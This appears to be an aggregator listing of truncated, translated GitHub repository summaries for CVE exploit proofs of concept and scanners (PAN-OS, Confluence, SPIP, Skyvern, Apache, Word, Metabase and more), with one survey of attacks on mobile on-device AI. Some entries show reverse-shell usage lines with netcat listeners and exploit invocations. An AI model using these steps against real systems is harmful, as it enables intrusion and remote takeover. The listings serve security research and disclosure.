ezviz_lan_rce

ezvizlanrce このリポジトリには、DEF CON 31 Hardware Hacking Village で発表されたトーク SADProtocol goes to Hollywood のスライドとPoC動画が含まれています。また、カメラ上で動作するバイナリをビルドするためのDockerイメージと、CVE-2023-34551およびCVE-2023-34552の概念実証エクスプロイトも見つけることができます。...

CVE-2024-3400

CVE-2024-3400 脆弱性 説明 CVE-2024-3400 は、PAN-OS ファイアウォールのバージョン 10.2、11.0、11.1 に影響を与えるセキュリティ脆弱性です。この脆弱性は、GlobalProtect ゲートウェイとデバイス テレメトリの設定が有効になっている場合に悪用されます。攻撃者はこの脆弱性を利用して悪意のあるコマンドを実行し、システムのセキュリティを侵害する可能性があります。 技術的詳細 CVE : CVE-2024-3400 影響を受ける製品 : PAN-OS ファイアウォール バージョン 10.2、11.0、11.1 影響 :...

cve-2021-33879

CVE ID : CVE-2021-33879 影響を受ける製品名とバージョン : GameLoop（4.1.21.90 より前のすべてのバージョン） 脆弱性タイプ : CWE-494: Download of Code Without Integrity Check 概要 GameLoop は Tencent によって開発された Android エミュレータです。この製品の更新メカニズムは暗号化も認証もされておらず（このエクスプロイトでは攻撃者が制御できる MD5 ハッシュを除く）、MITM...

CVE-2021-22006

CVE-2021-22005 - VMWare vCenter Server ファイルアップロードからRCE 分析 使用方法 ------------------------------------------------------------- CVE-2021-22005 - VMWare vCenter Server File Upload to RCE Github: https://github.com/r0ckysec Twitter: https://twitter.com/r0cky6861636b Author: r0cky...

CVE-2022-26134

CVE-2022-26134 - OGNLインジェクション脆弱性: Atlassian Confluence 7.18およびそれ以前の製品に影響を与えるリモートコード実行脆弱性を悪用する概念実証スクリプトです。OGNLインジェクション脆弱性により、認証されていないユーザーがConfluence ServerまたはData Centerインスタンス上で任意のコードを実行できます。 影響を受けるバージョン: サポートされているすべてのバージョンのConfluence ServerおよびData Centerが影響を受けます。 Confluence ServerおよびData...

CVE-2024-7954-RCE

설명 SPIP 4.30-alpha2, 4.2.13 및 4.1.16 이전 버전에서 사용되는 porteplume 플러그인은 임의 코드 실행 취약점에 취약합니다. 원격의 인증되지 않은 공격자는 조작된 HTTP 요청을 전송하여 SPIP 사용자 권한으로 임의의 PHP 코드를 실행할 수 있습니다. 익스플로잇 개념 증명 POST /index.php?action=porteplumeprevisu HTTP/1.1 Host: Hostname Content-Type: application/x-www-form-urlencoded data=AA-URL...

Next.js-RSC-RCE-Scanner-Burp-Suite-Extension

Next.js RSC RCE スキャナ Burp Suite 拡張機能 Next.js / React Server Components RSC リモートコード実行 の脆弱性 CVE-2025-55182 および CVE-2025-66478 を検出する高精度な Burp Suite 拡張機能です。 この拡張機能は、Searchlight Cyber セキュリティリサーチチーム によって発見された検出ロジックを実装しています。RSC ストリーム内の undefined オブジェクトに対するプロパティアクセスクラッシュを引き起こす、特別に細工された malformed multipar...

Awesome-MoAI-Security

Awesome Mobile On-Device AI Security SoK: Attack and Defense Landscape of Mobile On-device AI Systems 모바일 온디바이스 AI 시스템은 LiteRT/TFLite , Core ML , ExecuTorch , ONNX 와 같은 ML 프레임워크와 하드웨어 기반 가속기를 통해 AI 모델을 로컬에서 실행합니다. 이 저장소는 온디바이스 모델의 로컬 저장이 새로운 보안 위험을 도입함에 따라, 이러한 시스템을 이해하고 보호하는 데 필요한 보안 연구를 추적합니다...

CVE-2024-7029

EN GenAvTechRCEExploit AvTechデバイスで発見されたCVE-2024-7029脆弱性に対するPoCエクスプロイトで、リモートコード実行（RCE）を可能にします。このツールは、脆弱なデバイスをスキャンし、インタラクティブにコマンドを実行できます。 機能 脆弱性の検出 : AvTechデバイスがRCEに対して脆弱かどうかを確認します。 対話型シェル : 対話型シェルを介してターゲットデバイス上でコマンドを実行します。 マルチスレッドスキャン : マルチスレッドを使用して複数のターゲットを同時にスキャンします。 ペイロード実行 :...

CVE-2025-49619

CVE-2025-49619 PoC このスクリプトは、Skyvern の CVE-2025-49619 を悪用してリバースシェルコマンドを実行します。 著者 名前: Cristian Branet GitHub: cristibtz 使い方 1. リスナーを起動する nc -lvnp 2. エクスプロイトを実行する python3 exploit.py -u "http://:" -k "" -i -p : Skyvern サーバーのIP : Skyvern サーバーのポート : あなたの Skyvern APIキー（設定 → APIキー） : リバースシェルを受け取るあなたのIP :...

apache-activemq-rce-research

Apache ActiveMQ Classic — RCE 연구 Apache ActiveMQ Classic 의 Jolokia → addNetworkConnector → xbean/Spring-XML 원격 코드 실행 체인CVE-2026-34197 및 해당 패치 우회 CVE-2026-42588에 대한 비공개 연구 아카이브와 수정된 6.2.6 릴리스의 전체 자동 연구 감사 및 Crowdfense의 공개 우회 글과의 나란히 비교입니다. 모든 익스플로잇은 로컬 랩 브로커Docker / 자체 호스팅를 대상으로 수행되었습니다. 페이로드는...

In-Spectre-Meltdown

In-Spectre-Meltdown 이 도구는 많은 최신 프로세서와 운영 체제 설계에 영향을 미치는 추측 실행 사이드 채널 공격을 확인할 수 있게 해줍니다. CVE-2017-5754 Meltdown 및 CVE-2017-5715 Spectre는 권한 없는 프로세스가 권한 있는 프로세스로부터 비밀을 탈취할 수 있게 합니다. 이러한 공격은 CPU의 데이터 보호 조치를 공격하는 세 가지 다른 방법을 제시하며, 공격자가 읽을 수 없어야 할 데이터를 읽을 수 있게 합니다. 이 도구는 원래 Microsoft 기반입니다:...

STIG-Edge-RCE-CVE2025-9478

STIG – Microsoft Edge Chromium 139.0.3405.125 リモートコード実行 CVE-2025-9478, Plugin ID: 258091 修正前 検出結果: Microsoft Edge バージョン 139.0.3405.86 は古く、重大なリモートコード実行 RCE の脆弱性 CVE-2025-9478 の影響を受けていました。 リスク: 攻撃者は ANGLE の use-after-free を悪用し、細工された HTML ページを介して任意のコードを実行する可能性がありました。 エビデンス: 修復手順 1. Microsoft Edge...

CVE-2022-36804

CVE-2022-36804 Bitbucket RCE 2022 このリポジトリは hgrab-framework の一部です。 dork title: "Public Repositories - Bitbucket" 影響を受ける製品 - Bitbucket Server and Data Center 7.6（7.6.17 より前） - Bitbucket Server and Data Center 7.17（7.17.10 より前） - Bitbucket Server and Data Center 7.21（7.21.4 より前） - Bitbucket Server a...

CVE-2021-1675_PrintNightMare

PrintNightmareScanner Windows Print Spooler リモートコード実行の脆弱性 CVE-2021-1675 を検出するスキャナー 前提条件 python3 python3 -m pip install -r Requirements.txt 使用方法 python3 detectprintnightmare.py --help usage: detectprintnightmare.py -h -t TARGET -T TARGETS -c CIDR optional arguments: -h, --help show this help messa...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell CVE-2021-42013 PoC 리버스 셸 Apache 2.4.50 with CGI 사용법 : chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT 추가 정보: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 nc -lvnp 9999 참고 자료...

theway

The Way The Way는 Cisco Adaptive Security Device Manager ASDM 패키지를 언패킹, 리패킹, 그리고 생성하는 도구입니다. ASDM은 Adaptive Security Appliance ASA 시스템예: 방화벽 및 VPN을 위한 Java 기반 관리 GUI입니다. ASDM 패키지는 ASA에 호스팅되며, 관리자가 ASDM을 통해 ASA에 연결할 때마다 하위 구성 요소가 다운로드됩니다. ASA에 악성 ASDM 패키지를 심을 수 있는 공격자는 관리자 시스템에서 코드 실행을 달성할 수 있습니다. ...

CVE-2021-40444

CVE-2021-40444 PoC CVE-2021-40444를 악용하는 악성 docx 생성기 Microsoft Office Word 원격 코드 실행 이 스크립트의 생성은 실제 환경에서 사용된 샘플938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52, docx 파일에 대한 일부 리버스 엔지니어링을 기반으로 합니다. 먼저 lcab을 설치해야 합니다 sudo apt-get install lcab 수동 재현 단계는 REPRODUCE.md를 확인하세요 생성된 cab이 작동하...

CVE-2026-54984

CVE-2026-54984 Windows ICCファイル解析における領域外書き込み — リモートコード実行 Zero Day Initiativeを通じて ZDI-CAN-30441 として報告され、ZDI-26-543 として公開され、2026年8月の更新サイクルでMicrosoftによって修正されました。 こんにちは、Kağan Çapar です。この脆弱性をZero Day Initiativeに報告し、同機関は2026年6月2日にMicrosoftへ開示しました。2026年8月11日 — 8月のPatch Tuesday —...

CVE-2023-38646

CVE-2023-38646 Metabase 事前認証RCE（2023年11月26日） Metabase オープンソース版 0.46.6.1 未満、および Metabase Enterprise 版 1.46.6.1 未満では、攻撃者がサーバーの権限レベルで任意のコマンドを実行できる可能性があります。攻撃には認証は不要です。その他の修正済みバージョンは、0.45.4.1、1.45.4.1、0.44.7.1、1.44.7.1、0.43.7.2、1.43.7.2 です。 この脆弱性は、api/setup/validate 内のデータベース検証に使用できる setup-token...